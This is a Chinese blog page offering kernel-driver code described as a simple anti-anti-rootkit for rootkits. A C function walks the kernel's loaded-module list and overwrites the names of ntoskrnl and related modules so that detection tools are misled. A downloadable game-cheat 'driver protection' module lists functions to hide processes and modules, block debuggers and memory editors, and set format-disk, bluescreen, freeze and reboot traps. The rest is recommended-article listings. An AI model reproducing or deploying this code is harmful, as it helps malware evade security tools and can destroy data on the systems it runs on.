Break Kernel主要的代码——Boot=3的rootkit专用的简单anti anti rootkit

Win64 驱动内核编程-11.回调监控进线程句柄操作 无HOOK监控进线程句柄操作     在 NT5 平台下,要监控进线程句柄的操作,通常要挂钩 3 个 API:NtOpenProcess、NtOpenThread、NtDuplicateObject。但是在 VISTA SP1 以及之 后的系统中,我们可以完全抛弃 HOOK 方案了,转而使用一个标准的 API:ObRegisterCallbacks。下面做一个监视进线程句柄操作的程序,并实现保 阅读详情
typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY    LoadOrder;
    LIST_ENTRY    MemoryOrder;
    LIST_ENTRY    InitOrder;
    PVOID          ModuleBaseAddress;
    PVOID          EntryPoint;
    ULONG          ModuleSize;
    UNICODE_STRING FullModuleName;
    UNICODE_STRING ModuleName;
    ULONG          Flags;
    USHORT        LoadCount;
    USHORT        TlsIndex;
    union {
        LIST_ENTRY Hash;
        struct {
            PVOID SectionPointer;
            ULONG CheckSum;
        };
    };
    ULONG TimeStamp;
} LDR_DATA_TABLE_ENTRY,
*PLDR_DATA_TABLE_ENTRY;
void BreakKrnl(PDRIVER_OBJECT pDrvObject)
{
PLDR_DATA_TABLE_ENTRY pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pDrvObject->DriverSection;
    PLDR_DATA_TABLE_ENTRY pEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->LoadOrder.Flink;
    UNICODE_STRING fuckkrnl;
RtlInitUnicodeString(&fuckkrnl, L"fuckup.exe");
    while (pModuleEntry != pEntry)
    {
        if (pEntry->ModuleName.Buffer)
        {
            if (!wcscmp(pEntry->ModuleName.Buffer, L"ntkrnlmp.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntkrpamp.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntoskrnl.exe")||!wcscmp(pEntry->ModuleName.Buffer, L"ntkrnlpa.exe"))
            {
                memcpy(&pEntry->FullModuleName, &fuckkrnl, sizeof(UNICODE_STRING));
                memcpy(&pEntry->ModuleName,&fuckkrnl,sizeof(UNICODE_STRING));
                break;
            }
        }
        pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->LoadOrder.Flink;
    }
} 
驱动保护隐藏.ec 易语言辅助必备驱动保护模块 代码公开 透明 绝无暗装之类 ------------------------------ .版本 2 .子程序 关闭保护辅助进程, 逻辑型, 公开, 取消禁止结束并保护程序 .参数 进程ID, 整数型, 可空, 可空,默认取消自身,可用的进程_名取ID()获取进程ID, .子程序 关闭防各类调试, 逻辑型, 公开, 取消结束并保护程序 .参数 进程ID, 整数型, 可空, 可空,默认取消自身,可用的进程_名取ID()获取进程ID, .子程序 开启保护辅助进程, 逻辑型, 公开, 可禁止他人有意结束某程序,并保护程序不被注入,打开程序,支持所有系统,32,WIN764位都可以 .参数 进程ID, 整数型, 可空, 可空,默认保护自身,可用的进程_名取ID()获取进程ID, .子程序 开启防各类调试, 逻辑型, 公开, 可禁止他人有意,用CE,VE,ME,GE,内存工具和WPE等程序,打开程序,支持所有系统,32,WIN764位都可以 .参数 进程ID, 整数型, 可空, 可空,默认保护自身,可用的进程_名取ID()获取进程ID, .子程序 隐藏模块, 逻辑型, 公开, 隐藏模块 (GetModuleHandle (“隐藏.dll”)) .参数 模块基地址, 整数型 .子程序 郁金香取消隐藏进程, 逻辑型, 公开, 取消隐藏进程 暂时无法取消隐藏 .参数 进程ID, 整数型, 可空, 可空,默认取消自身,可用进程_名取ID()获取进程ID, .子程序 郁金香隐藏进程, 逻辑型, 公开, 隐藏进程,,支持32位,和64位WIn7,与所有系统请自行测试 .参数 进程ID, 整数型, 可空, 可空,默认隐藏自身,可用进程_名取ID()获取进程ID, .子程序 置格盘陷阱, 逻辑型, 公开 .子程序 置蓝屏陷阱, 逻辑型, 公开, 利用蓝屏代码 绝对值蓝屏 .子程序 置死机陷阱, 逻辑型, 公开 .子程序 置重启陷阱, 逻辑型, 公开, 绝对值重启 .DLL命令 GetModuleHandle, 整数型, "kernel32", "GetModuleHandleA", 公开 .参数 lpModuleName, 文本型 .DLL命令 RtlMoveMemory, 整数型, , "RtlMoveMemory", 公开, _写内存3 .参数 dest, 整数型, 传址 .参数 Source, 整数型 .参数 len, 整数型, , 4 立即下载

相关推荐

告别第三方工具!用Windows自带蓝牙玩转BLE设备调试(保姆级图文教程)

本文详细介绍了如何利用Windows自带的蓝牙功能进行BLE设备调试,无需第三方工具。从硬件准备、系统配置到实战操作,提供保姆级图文教程,帮助开发者高效完成设备发现、数据交互等全流程调试工作。特别适合物联网开发者和智能硬件爱好者。

o5p6q的博客 735

_LDR_DATA_TABLE_ENTRY结构体

_LDR_DATA_TABLE_ENTRY结构体

weixin_41693985的博客 1716

STM32CubeMX定时器进阶玩法:用编码器模式实现电机转速测量(附避坑清单)

本文详细介绍了如何使用STM32CubeMX配置定时器的编码器模式实现电机转速测量,包括硬件连接、CubeMX配置关键步骤、转速计算算法及常见问题解决方案。特别针对工业控制和机器人开发中的高精度需求,提供了实用的避坑清单和优化技巧,帮助开发者高效完成项目。

joy55的博客 203

利用 PEB_LDR_DATA 结构枚举进程模块信息

我们常常通过很多方法来获取进程的模块信息,例如EnumProcessModules 函数、CreateToolhelp32Snapshot 函数、WTSEnumerateProcesses 函数、ZwQuerySystemInformation 函数等。但是调用这些接口进行模块枚举的原理是什么我们并不知道。通过学习 PEB 中 PEB_LDR_DATA 结构的知识,我们可以对进程模块信息的查询以及相关存储数据结构有进一步的了解。

溡漪幽博客 3219

UVM实战 卷I学习笔记1——简单的UVM验证平台:只有driver

目录验证平台的组成最简单的验证平台——只有driverUVM如何搭建driver:加入factory机制加入objection机制加入virtual interface 个人《UVM实战卷I》学习随手笔记,此书作者:张强 验证平台的组成 一个验证平台要实现的基本功能: 模拟DUT的各种真实使用情况——给DUT施加各种激励→driver实现激励功能; 根据DUT的输出判断DUT行为是否与预期符合→scoreboard(也称为checker)——需注意判断的东西和判断的标准是什么; 收集DUT的输出并传递

weixin_41979380的博客 3891

WPF实战:利用Live Charts实现高性能动态曲线可视化

本文详细介绍了如何在WPF中使用Live Charts实现高性能动态曲线可视化,特别适用于工业监控和金融分析等实时数据场景。通过增量渲染、内存复用和硬件加速等核心技术,Live Charts能够高效处理高频数据更新,显著提升图表流畅度。文章提供了从基础实现到工业级优化的完整解决方案,帮助开发者应对各种性能挑战。

weixin_29189373的博客 408

Windows 内核驱动程序完整性校验的原理分析

在上一篇文章中提到了 Windows Vista 及之后版本的 Windows 操作系统在驱动程序加载完成后,驱动中调用的一些系统回调函数(如 ObRegisterCallbacks,可用来监控系统中对进线程句柄的操作,如打开进程、复制线程句柄等)等 API 中会通过 MmVerifyCallbackFunction 函数对该驱动程序进行完整性检查,检测未通过则会返回 0xC0000022 拒绝访问的返回值。在这篇文章中将会对这个函数进行简单的分析,以明确其原理。 0x0 获取函数地址 通过 Windb

zz_strive_2012的专栏 1408

【数据集】CMIP6气候模式数据下载

简介CMIP6及其气候模式数据下载

WW、forever的博客 9360

某超级注入程序的驱动逆向

1、起因 从哥们儿那找到了一个超级注入的工具,打开一看加了vmp,然后还有驱动的驱动,于是这里把驱动提取出来,简单分析一下。 1.1运行 让程序先把驱动释放出来,可以看到这里需要买卡,然后才会释放驱动加载(简单破解一下就行,不是重点) 1.2破解之后 下一个CreateServiceA断点,让它在加载驱动之前断下,接着将驱动拷贝出来。从下图可以看到虽然驱动有签名,但是个过期签名,高版本windows10上是加载不上的。 2、驱动分析 好消息是驱动没有加壳,可以f5分析一下 2.1W.

被遗弃的庸才博客 3197

ADS电路仿真方法综述:原理与应用

在射频与微波电路设计中,精确的仿真技术是验证性能的关键。ADS(Advanced Design System)作为行业标准工具,集成了多种仿真方法,适用于不同场景。本文将系统解析瞬态分析、谐波平衡(HB)、交流分析(AC)、直流分析(DC)、S参数、大信号SP(LSSP)及包络分析的原理、实现机制与应用场景。

u014344410的博客 482

华为OD机试 - 荒岛求生 - 栈Stack(Python/JS/C/C++ 新系统 100分)

每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景,发现新题目,随时更新,全天优快云在线答疑。

学Java,找哪吒 2840

驱动开发:内核操作进线程与模块

进程就是活动起来的程序,每一个进程在内核里,都有一个名为EPROCESS的结构记录它的详细信息,其中就包括进程名,PID,PPID,进程路径等,通常在应用层枚举进程只列出所有进程的编号即可,不过在内核层需要把它的 EPROCESS 地址给列举出来。

微软技术分享 7120

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

【信息科学与工程学】【安全领域】第一百一十四篇 零信任网络01

编号领域系统子模块组件组件的结构及功能描述和关键指标列表问题问题的数学分析(含材料科学/几何学/拓扑学/结构学/物理学/光学/热学/力学/电学/振动学/声学/流体固体耦合/热机械应力/机械工程/制造工程/工艺模型和工艺方法/流变学/界面科学/表面科学/机械表面/集成电路/电路电子/微电子/传热学/反应流/单相流及多相流仿真/固体力学/结构力学/弹性力学/微纳制造/精密制造/自动化/机械工程/制造工程/统计科学/数理学)及数值分析及工程分析及工艺设计详细设计和制造工艺方法列表关联知识和国家标准/国际标准/行业

weixin_49199313的博客 370

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

驱动 ——进程断链(高阶)

不触发PG,驱动断链类似。

weixin_48257887的博客 431

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

Windows内核模块名称遍历

0x00 原理 内核模块信息以_LDR_DATA_TABLE_ENTRY结构形式存在于系统, 该结构以双向链表将所有的模块信息关联起来。 0x01 实现 1.1 基于WinDbg获取_LDR_DATA_TABLE_ENTRY结构 在WinDbg中调试过程中输入 dt _LDR_DATA_TABLE_ENTRY 来获取_LDR_DATA_TABLE_ENTRY结构结构信息 以下是我在调试Win10时获取的信息: kd> dt _LDR_DATA_TABLE_ENTRY nt!_LDR_D..

qq726232111的博客 1134

LDR_DATA_TABLE_ENTRY结构得不到完整路径?

PLDR_DATA_TABLE_ENTRYpLdr; pLdr->FullDllName得到的是\WINDOWS\system32\ntoskrnl.exe, 而不是一个绝对路径,跟网上说的不一样啊? 转载于:https://www.cnblogs.com/hongbin/archive/2012/04/05/2433928.html...

weixin_30381317的博客 503

枚举Windows进程中模块的几种方法-PEB内核结构详解

1. 引言 在诸多的场景中(例如软件测试,软件安全研究等领域)经常需要分析在目标进程中具体加载了哪些模块(DLL),以及所加载的模块的信息(如模块基地址,映射文件大小等)。获取这windows进程加载的模块信息,曾经有一个行之有效又很便捷的方法,使用windows提供PSAPI(psapi.dll,windows进程状态信息接口)提供的相关的接口就可以快捷的获取进程及进程加载的模块信息。有关PSAPI接口可以参考psapi.h或者微软的官方文档Psapi.h header - Win32 ...

QQ_3094353627的博客 2490

在>=win10 17134枚举驱动的另一种方法

首先枚举驱动的方法很多,这里不做过多介绍,此文仅简单说明x64系统,x86结构和偏移需重新收集. 在17134版本中,MI_SYSTEM_IMAGE_STATE结构新增了一个成员 即以下的最后一个成员ImageTree,此树保存驱动LdrSection 题外话:MI_SYSTEM_IMAGE_STATE是_MI_SYSTEM_INFORMATION的子结构,_MI_SYSTEM_INFORMATION是nt!MiState nt!_MI_SYSTEM_IMAGE_STATE +0x000 Fi

zhuhuibeishadiao 1562

R0隐藏驱动模块代码

BOOLEAN ValidateUnicodeString(PUNICODE_STRING usStr) { ULONG i; __try { if (!MmIsAddressValid(usStr)) { return FALSE; } if (usStr->Buffer...

编程论坛 2765

驱动编程,隐藏驱动文件,隐藏驱动名

//功能:隐藏驱动名 VOID HideDriver(char* drivername, PDRIVER_OBJECT driverobj) { KIRQL irql; ULONG64 base; PLDR_DATA_TABLE_ENTRY firstentry; PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)driverobj->DriverSection; firstentry = entry; base = GetDir.

追逐光芒,追随内心 751

深入Windows内核数据结构:图解PEB_LDR_DATA与LDR_DATA_TABLE_ENTRY的链表魔法

本文深入解析Windows内核中的PEB_LDR_DATA与LDR_DATA_TABLE_ENTRY数据结构,揭示其如何通过侵入式链表高效管理进程模块。详细介绍了三大链表的设计原理、性能优势及实际应用场景,为开发者提供底层模块管理的核心知识。

weixin_30721077的博客 481

逆向工程师必备:3种内核模块遍历方法对比(ZwQuerySystemInformation/AuxKlib/DriverSection)

本文深入解析了Windows内核模块遍历的三种核心技术:DriverSection链表遍历、ZwQuerySystemInformation API和AuxKlibQueryModuleInformation。详细对比了各方法在稳定性、兼容性和隐蔽性等方面的优劣,并提供了实战代码和避坑指南,帮助逆向工程师和安全研究人员高效获取驱动模块信息,适用于EDR对抗、Rootkit检测等场景。

yy01234的博客 769

简单地隐藏驱动分析

当系统加载一个驱动时,会为这个驱动建立一个_KLDR_DATA_TABLE_ENTRY结构体,DRIVER_OBJECT结构体的DriverSection成员指向这个结构体。以下是WRK中_KLDR_DATA_TABLE_ENTRY结构体的定义: typedef struct _KLDR_DATA_TABLE_ENTRY {     LIST_ENTRY InLoadOrderLinks;

liujiayu2的专栏 1830

结构体 WIN7_LDR_DATA_TABLE_ENTRY结构(x86 x64)

typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID      DllBase; PVOID      EntryPoint; ULONG32    SizeOfIm...

3362

内核遍历r3进程模块,获取信息(32,64,WoW64)

没什么技术含量,只是突然用到了,然后写出来,又突然想到看雪了,然后又发上来, 一想到长期潜水,看帖不回就羞愧的不要不要的; //通过进程PID来获取目标模块路径; NTSTATUS GetModulesPathByProcessID (IN HANDLE ProcessId, IN WCHAR* ModuleName, OUT WCHAR* ModulesPath) {     t

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 5579
上一篇: SSDT Restore in ring0的部分代码
下一篇: U盘病毒及其相关资源的分析(patch shell32.dll)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值